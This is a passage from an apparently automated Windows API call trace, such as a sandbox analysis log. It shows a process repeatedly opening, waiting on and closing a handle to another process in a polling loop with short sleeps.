(dwMilliseconds=0x1) [0230.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.508] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.525] CloseHandle (hObject=0x27c) returned 1 [0230.525] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.525] Sleep (dwMilliseconds=0x1) [0230.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.539] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.555] CloseHandle (hObject=0x27c) returned 1 [0230.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.555] Sleep (dwMilliseconds=0x1) [0230.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.570] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.586] CloseHandle (hObject=0x27c) returned 1 [0230.586] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.586] Sleep (dwMilliseconds=0x1) [0230.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.602] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.617] CloseHandle (hObject=0x27c) returned 1 [0230.617] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.617] Sleep (dwMilliseconds=0x1) [0230.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.633] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.649] CloseHandle (hObject=0x27c) returned 1 [0230.649] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.649] Sleep (dwMilliseconds=0x1) [0230.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.664] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.680] CloseHandle (hObject=0x27c) returned 1 [0230.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.680] Sleep (dwMilliseconds=0x1) [0230.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.695] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.711] CloseHandle (hObject=0x27c) returned 1 [0230.711] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.711] Sleep (dwMilliseconds=0x1) [0230.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.726] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.742] CloseHandle (hObject=0x27c) returned 1 [0230.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.742] Sleep (dwMilliseconds=0x1) [0230.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.789] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.805] CloseHandle (hObject=0x27c) returned 1 [0230.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.805] Sleep (dwMilliseconds=0x1) [0230.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.820] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.836] CloseHandle (hObject=0x27c) returned 1 [0230.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.836] Sleep (dwMilliseconds=0x1) [0230.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.853] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.898] CloseHandle (hObject=0x27c) returned 1 [0230.898] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.898] Sleep (dwMilliseconds=0x1) [0230.922] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.923] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.937] CloseHandle (hObject=0x27c) returned 1 [0230.937] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.937] Sleep (dwMilliseconds=0x1) [0230.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.945] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.961] CloseHandle (hObject=0x27c) returned 1 [0230.961] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.961] Sleep (dwMilliseconds=0x1) [0230.977] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0230.977] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0230.992] CloseHandle (hObject=0x27c) returned 1 [0230.992] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0230.992] Sleep (dwMilliseconds=0x1) [0231.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.008] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.030] CloseHandle (hObject=0x27c) returned 1 [0231.030] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.030] Sleep (dwMilliseconds=0x1) [0231.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.039] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.055] CloseHandle (hObject=0x27c) returned 1 [0231.055] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.055] Sleep (dwMilliseconds=0x1) [0231.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.072] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.086] CloseHandle (hObject=0x27c) returned 1 [0231.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.086] Sleep (dwMilliseconds=0x1) [0231.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.102] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.117] CloseHandle (hObject=0x27c) returned 1 [0231.117] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.117] Sleep (dwMilliseconds=0x1) [0231.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.133] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.148] CloseHandle (hObject=0x27c) returned 1 [0231.148] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.148] Sleep (dwMilliseconds=0x1) [0231.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.164] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.179] CloseHandle (hObject=0x27c) returned 1 [0231.180] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.180] Sleep (dwMilliseconds=0x1) [0231.197] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.197] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.211] CloseHandle (hObject=0x27c) returned 1 [0231.211] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.211] Sleep (dwMilliseconds=0x1) [0231.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.238] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.242] CloseHandle (hObject=0x27c) returned 1 [0231.242] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.242] Sleep (dwMilliseconds=0x1) [0231.262] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.262] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.273] CloseHandle (hObject=0x27c) returned 1 [0231.273] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.273] Sleep (dwMilliseconds=0x1) [0231.293] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.293] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.308] CloseHandle (hObject=0x27c) returned 1 [0231.308] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.308] Sleep (dwMilliseconds=0x1) [0231.320] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.320] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.336] CloseHandle (hObject=0x27c) returned 1 [0231.336] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.336] Sleep (dwMilliseconds=0x1) [0231.351] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.352] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.367] CloseHandle (hObject=0x27c) returned 1 [0231.367] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.367] Sleep (dwMilliseconds=0x1) [0231.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.383] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.398] CloseHandle (hObject=0x27c) returned 1 [0231.399] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.399] Sleep (dwMilliseconds=0x1) [0231.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.414] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.429] CloseHandle (hObject=0x27c) returned 1 [0231.430] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.430] Sleep (dwMilliseconds=0x1) [0231.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.445] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.461] CloseHandle (hObject=0x27c) returned 1 [0231.461] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.461] Sleep (dwMilliseconds=0x1) [0231.476] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.476] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.492] CloseHandle (hObject=0x27c) returned 1 [0231.492] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.492] Sleep (dwMilliseconds=0x1) [0231.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.508] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.523] CloseHandle (hObject=0x27c) returned 1 [0231.523] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.523] Sleep (dwMilliseconds=0x1) [0231.541] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.541] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.555] CloseHandle (hObject=0x27c) returned 1 [0231.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.555] Sleep (dwMilliseconds=0x1) [0231.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.570] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.586] CloseHandle (hObject=0x27c) returned 1 [0231.586] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.586] Sleep (dwMilliseconds=0x1) [0231.601] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.601] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.617] CloseHandle (hObject=0x27c) returned 1 [0231.617] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.617] Sleep (dwMilliseconds=0x1) [0231.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.633] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.648] CloseHandle (hObject=0x27c) returned 1 [0231.648] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.648] Sleep (dwMilliseconds=0x1) [0231.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.664] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.679] CloseHandle (hObject=0x27c) returned 1 [0231.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.680] Sleep (dwMilliseconds=0x1) [0231.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.695] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.711] CloseHandle (hObject=0x27c) returned 1 [0231.711] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.711] Sleep (dwMilliseconds=0x1) [0231.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.726] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.742] CloseHandle (hObject=0x27c) returned 1 [0231.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.742] Sleep (dwMilliseconds=0x1) [0231.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.758] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.773] CloseHandle (hObject=0x27c) returned 1 [0231.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.773] Sleep (dwMilliseconds=0x1) [0231.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.789] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.805] CloseHandle (hObject=0x27c) returned 1 [0231.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.805] Sleep (dwMilliseconds=0x1) [0231.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.820] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.836] CloseHandle (hObject=0x27c) returned 1 [0231.836] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.836] Sleep (dwMilliseconds=0x1) [0231.851] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.852] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.867] CloseHandle (hObject=0x27c) returned 1 [0231.867] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.867] Sleep (dwMilliseconds=0x1) [0231.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.883] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0231.898] CloseHandle (hObject=0x27c) returned 1 [0231.898] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0231.898] Sleep (dwMilliseconds=0x1) [0231.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0231.914] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.346] CloseHandle (hObject=0x27c) returned 1 [0233.346] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.346] Sleep (dwMilliseconds=0x1) [0233.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.354] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.367] CloseHandle (hObject=0x27c) returned 1 [0233.367] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.367] Sleep (dwMilliseconds=0x1) [0233.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.383] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.398] CloseHandle (hObject=0x27c) returned 1 [0233.398] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.398] Sleep (dwMilliseconds=0x1) [0233.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.414] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.430] CloseHandle (hObject=0x27c) returned 1 [0233.430] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.430] Sleep (dwMilliseconds=0x1) [0233.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.445] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.461] CloseHandle (hObject=0x27c) returned 1 [0233.461] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.461] Sleep (dwMilliseconds=0x1) [0233.476] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.476] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.492] CloseHandle (hObject=0x27c) returned 1 [0233.492] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.492] Sleep (dwMilliseconds=0x1) [0233.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.508] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.524] CloseHandle (hObject=0x27c) returned 1 [0233.524] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.524] Sleep (dwMilliseconds=0x1) [0233.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.539] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.555] CloseHandle (hObject=0x27c) returned 1 [0233.555] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.555] Sleep (dwMilliseconds=0x1) [0233.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.570] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.586] CloseHandle (hObject=0x27c) returned 1 [0233.586] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.586] Sleep (dwMilliseconds=0x1) [0233.604] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.604] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.617] CloseHandle (hObject=0x27c) returned 1 [0233.617] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.617] Sleep (dwMilliseconds=0x1) [0233.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.633] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.648] CloseHandle (hObject=0x27c) returned 1 [0233.648] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.648] Sleep (dwMilliseconds=0x1) [0233.676] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.677] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.680] CloseHandle (hObject=0x27c) returned 1 [0233.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.680] Sleep (dwMilliseconds=0x1) [0233.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.697] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.711] CloseHandle (hObject=0x27c) returned 1 [0233.711] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.711] Sleep (dwMilliseconds=0x1) [0233.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.726] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.742] CloseHandle (hObject=0x27c) returned 1 [0233.742] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.742] Sleep (dwMilliseconds=0x1) [0233.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.758] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.774] CloseHandle (hObject=0x27c) returned 1 [0233.774] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0233.774] Sleep (dwMilliseconds=0x1) [0233.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x27c [0233.789] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0233.804] CloseHandle (hObject=0x27c) returned 1 [0233.805] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, 